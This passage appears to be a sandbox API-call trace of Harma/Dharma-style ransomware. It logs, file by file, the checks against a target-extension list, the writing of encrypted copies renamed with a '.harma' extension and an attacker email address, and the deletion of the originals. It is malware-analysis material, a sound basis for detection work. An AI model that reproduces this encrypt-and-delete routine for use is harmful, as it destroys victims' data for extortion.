(lpString=".xlsx") returned 5 [0159.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.063] lstrlenW (lpString=".ppt") returned 4 [0159.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.063] lstrlenW (lpString=".zip") returned 4 [0159.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.063] lstrlenW (lpString=".rar") returned 4 [0159.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString=".bz2") returned 4 [0159.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString=".7z") returned 3 [0159.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.063] lstrlenW (lpString=".dbf") returned 4 [0159.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.063] lstrlenW (lpString=".1cd") returned 4 [0159.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.063] lstrlenW (lpString=".jpg") returned 4 [0159.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.064] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.064] lstrlenW (lpString="IN00177_.WMF") returned 12 [0159.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.066] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1074) returned 1 [0159.066] CloseHandle (hObject=0x348) returned 1 [0159.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20 [0159.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.067] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.067] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.067] GetLastError () returned 0x0 [0159.067] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x432, lpOverlapped=0x0) returned 1 [0159.069] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x440, lpOverlapped=0x0) returned 1 [0159.070] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.070] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.070] SetEndOfFile (hFile=0x334) returned 1 [0159.070] CloseHandle (hObject=0x334) returned 1 [0159.070] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.070] SetEndOfFile (hFile=0x348) returned 1 [0159.072] CloseHandle (hObject=0x348) returned 1 [0159.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0159.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.073] lstrlenW (lpString=".doc") returned 4 [0159.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.073] lstrlenW (lpString=".docx") returned 5 [0159.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.073] lstrlenW (lpString=".pdf") returned 4 [0159.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.073] lstrlenW (lpString=".xls") returned 4 [0159.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.074] lstrlenW (lpString=".xlsx") returned 5 [0159.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.074] lstrlenW (lpString=".ppt") returned 4 [0159.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.074] lstrlenW (lpString=".zip") returned 4 [0159.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.074] lstrlenW (lpString=".rar") returned 4 [0159.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.074] lstrlenW (lpString=".bz2") returned 4 [0159.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.074] lstrlenW (lpString=".7z") returned 3 [0159.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.074] lstrlenW (lpString=".dbf") returned 4 [0159.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.074] lstrlenW (lpString=".1cd") returned 4 [0159.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.074] lstrlenW (lpString=".jpg") returned 4 [0159.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.076] lstrlenW (lpString=".doc") returned 4 [0159.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString=".docx") returned 5 [0159.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.076] lstrlenW (lpString=".pdf") returned 4 [0159.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString=".xls") returned 4 [0159.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.076] lstrlenW (lpString=".xlsx") returned 5 [0159.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.076] lstrlenW (lpString=".ppt") returned 4 [0159.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.076] lstrlenW (lpString=".zip") returned 4 [0159.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.076] lstrlenW (lpString=".rar") returned 4 [0159.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString=".bz2") returned 4 [0159.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString=".7z") returned 3 [0159.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.076] lstrlenW (lpString=".dbf") returned 4 [0159.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.076] lstrlenW (lpString=".1cd") returned 4 [0159.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0159.077] lstrlenW (lpString=".jpg") returned 4 [0159.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.077] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.077] lstrlenW (lpString="IN00204_.WMF") returned 12 [0159.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.077] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1848) returned 1 [0159.077] CloseHandle (hObject=0x348) returned 1 [0159.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20 [0159.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.078] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.078] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.079] GetLastError () returned 0x0 [0159.079] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x738, lpOverlapped=0x0) returned 1 [0159.081] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x740, lpOverlapped=0x0) returned 1 [0159.082] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.082] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.082] SetEndOfFile (hFile=0x334) returned 1 [0159.082] CloseHandle (hObject=0x334) returned 1 [0159.082] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.082] SetEndOfFile (hFile=0x348) returned 1 [0159.084] CloseHandle (hObject=0x348) returned 1 [0159.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0159.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.085] lstrlenW (lpString=".doc") returned 4 [0159.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.085] lstrlenW (lpString=".docx") returned 5 [0159.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.085] lstrlenW (lpString=".pdf") returned 4 [0159.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.085] lstrlenW (lpString=".xls") returned 4 [0159.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.086] lstrlenW (lpString=".xlsx") returned 5 [0159.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.086] lstrlenW (lpString=".ppt") returned 4 [0159.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.086] lstrlenW (lpString=".zip") returned 4 [0159.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.086] lstrlenW (lpString=".rar") returned 4 [0159.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".bz2") returned 4 [0159.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".7z") returned 3 [0159.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.086] lstrlenW (lpString=".dbf") returned 4 [0159.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.086] lstrlenW (lpString=".1cd") returned 4 [0159.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.086] lstrlenW (lpString=".jpg") returned 4 [0159.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.086] lstrlenW (lpString=".doc") returned 4 [0159.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".docx") returned 5 [0159.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.086] lstrlenW (lpString=".pdf") returned 4 [0159.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".xls") returned 4 [0159.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.086] lstrlenW (lpString=".xlsx") returned 5 [0159.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.087] lstrlenW (lpString=".ppt") returned 4 [0159.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.087] lstrlenW (lpString=".zip") returned 4 [0159.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.087] lstrlenW (lpString=".rar") returned 4 [0159.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.087] lstrlenW (lpString=".bz2") returned 4 [0159.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.087] lstrlenW (lpString=".7z") returned 3 [0159.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.087] lstrlenW (lpString=".dbf") returned 4 [0159.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.087] lstrlenW (lpString=".1cd") returned 4 [0159.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0159.087] lstrlenW (lpString=".jpg") returned 4 [0159.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.087] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.087] lstrlenW (lpString="IN00233_.WMF") returned 12 [0159.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.760] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=11190) returned 1 [0159.760] CloseHandle (hObject=0x364) returned 1 [0159.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 0x20 [0159.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.788] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.788] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.789] GetLastError () returned 0x0 [0159.789] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x2bb6, lpOverlapped=0x0) returned 1 [0159.822] WriteFile (in: hFile=0x1b4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2bc0, lpOverlapped=0x0) returned 1 [0159.823] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.823] WriteFile (in: hFile=0x1b4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.823] SetEndOfFile (hFile=0x1b4) returned 1 [0159.823] CloseHandle (hObject=0x1b4) returned 1 [0159.855] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.855] SetEndOfFile (hFile=0x334) returned 1 [0159.857] CloseHandle (hObject=0x334) returned 1 [0159.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0159.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.867] lstrlenW (lpString=".doc") returned 4 [0159.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.867] lstrlenW (lpString=".docx") returned 5 [0159.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.867] lstrlenW (lpString=".pdf") returned 4 [0159.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.867] lstrlenW (lpString=".xls") returned 4 [0159.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.867] lstrlenW (lpString=".xlsx") returned 5 [0159.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.867] lstrlenW (lpString=".ppt") returned 4 [0159.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.868] lstrlenW (lpString=".zip") returned 4 [0159.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.868] lstrlenW (lpString=".rar") returned 4 [0159.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.868] lstrlenW (lpString=".bz2") returned 4 [0159.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.868] lstrlenW (lpString=".7z") returned 3 [0159.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.868] lstrlenW (lpString=".dbf") returned 4 [0159.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.868] lstrlenW (lpString=".1cd") returned 4 [0159.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.868] lstrlenW (lpString=".jpg") returned 4 [0159.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.869] lstrlenW (lpString=".doc") returned 4 [0159.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.869] lstrlenW (lpString=".docx") returned 5 [0159.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.869] lstrlenW (lpString=".pdf") returned 4 [0159.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.869] lstrlenW (lpString=".xls") returned 4 [0159.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.869] lstrlenW (lpString=".xlsx") returned 5 [0159.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.869] lstrlenW (lpString=".ppt") returned 4 [0159.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.869] lstrlenW (lpString=".zip") returned 4 [0159.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.869] lstrlenW (lpString=".rar") returned 4 [0159.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.869] lstrlenW (lpString=".bz2") returned 4 [0159.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.869] lstrlenW (lpString=".7z") returned 3 [0159.869] lstrcmpiW (lpString1=".7z", 